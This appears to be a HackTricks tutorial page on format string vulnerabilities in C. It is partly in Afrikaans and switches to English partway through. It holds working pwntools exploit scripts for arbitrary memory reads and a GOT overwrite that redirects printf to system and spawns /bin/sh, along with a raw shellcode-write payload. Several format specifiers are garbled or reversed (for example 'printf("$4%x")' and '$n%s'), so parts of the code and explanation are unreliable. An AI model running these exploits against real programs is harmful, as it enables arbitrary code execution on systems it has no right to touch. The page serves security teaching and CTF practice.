.. | ||
format-strings-template.md | ||
README.md |
Formaat Strings
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
In C printf
is 'n funksie wat gebruik kan word om te druk 'n string. Die eerste parameter wat hierdie funksie verwag is die rou teks met die formaatters. Die volgende parameters wat verwag word is die waardes om die formaatters van die rou teks te vervang.
Die kwesbaarheid verskyn wanneer 'n aanvaller teks as die eerste argument vir hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n spesiale invoer te vervaardig wat die printf formaat string vermoëns misbruik om te lees en skryf enige data in enige adres (leesbaar/skryfbaar). Op hierdie manier in staat om arbitraire kode uit te voer.
Formaatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Voorbeelde:
- Kwetsbare voorbeeld:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normale Gebruik:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Met Ontbrekende Argumente:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Toegang tot Pointers
Die formaat %<n>$x
, waar n
'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
printf("%x %x %x %x")
en jy sou van die eerste tot die vierde parameter lees.
Of jy kan doen:
printf("$4%x")
en lees direk die vierde.
Let op dat die aanvaller die pr
intf
parameter beheer, wat basies beteken dat sy invoer in die stapel gaan wees wanneer printf
aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
{% hint style="danger" %}
'n Aanvaller wat hierdie invoer beheer, sal in staat wees om arbitraire adresse in die stapel by te voeg en printf
te laat toegang tot hulle. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik.
{% endhint %}
Arbitraire Lees
Dit is moontlik om die formatter $n%s
te gebruik om printf
die adres wat in die n posisie geleë is, te laat kry, wat volg en dit asof dit 'n string is te druk (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre 0x8048000
is, en ons weet dat die gebruiker se invoer in die 4de posisie in die stapel begin, is dit moontlik om die begin van die binêre te druk met:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Let daarop dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres gesny sal word. {% endhint %}
Arbitraire Skrywe
Die formatter $<num>%n
skryf die aantal geskryfde bytes in die aangegeven adres in die <num> parameter in die stapel. As 'n aanvaller soveel karakters as wat hy wil met printf kan skryf, sal hy in staat wees om $<num>%n
'n arbitraire getal in 'n arbitraire adres te laat skryf.
Gelukkig, om die getal 9999 te skryf, is dit nie nodig om 9999 "A"s by die invoer te voeg nie; om dit te doen, is dit moontlik om die formatter %.<num-write>%<num>$n
te gebruik om die getal <num-write>
in die adres aangedui deur die num
posisie te skryf.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
However, note that usually in order to write an address such as 0x08049724
(which is a HUGE number to write at once), it's used $hn
instead of $n
. This allows to only write 2 Bytes. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Therefore, this vulnerability allows to write anything in any address (arbitrary write).
In this example, the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
We are going to overwrite a function that receives its arguments from the user and point it to the system
function.
As mentioned, to write the address, usually 2 steps are needed: You first writes 2Bytes of the address and then the other 2. To do so $hn
is used.
- HOB is called to the 2 higher bytes of the address
- LOB is called to the 2 lower bytes of the address
Then, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.
If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools-sjabloon
Jy kan 'n sjabloon vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Of hierdie basiese voorbeeld van hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Ander Voorbeelde & Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat stringe om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres
fflush
met die wen funksie (ret2win) te oorskryf - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in
.fini_array
te skryf (sodat die vloei een keer meer terugloop) en die adres nasystem
in die GOT tabel te skryf wat nastrlen
wys. Wanneer die vloei terug na main gaan, wordstrlen
uitgevoer met gebruikersinvoer en wys nasystem
, dit sal die oorgedraagde opdragte uitvoer.
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.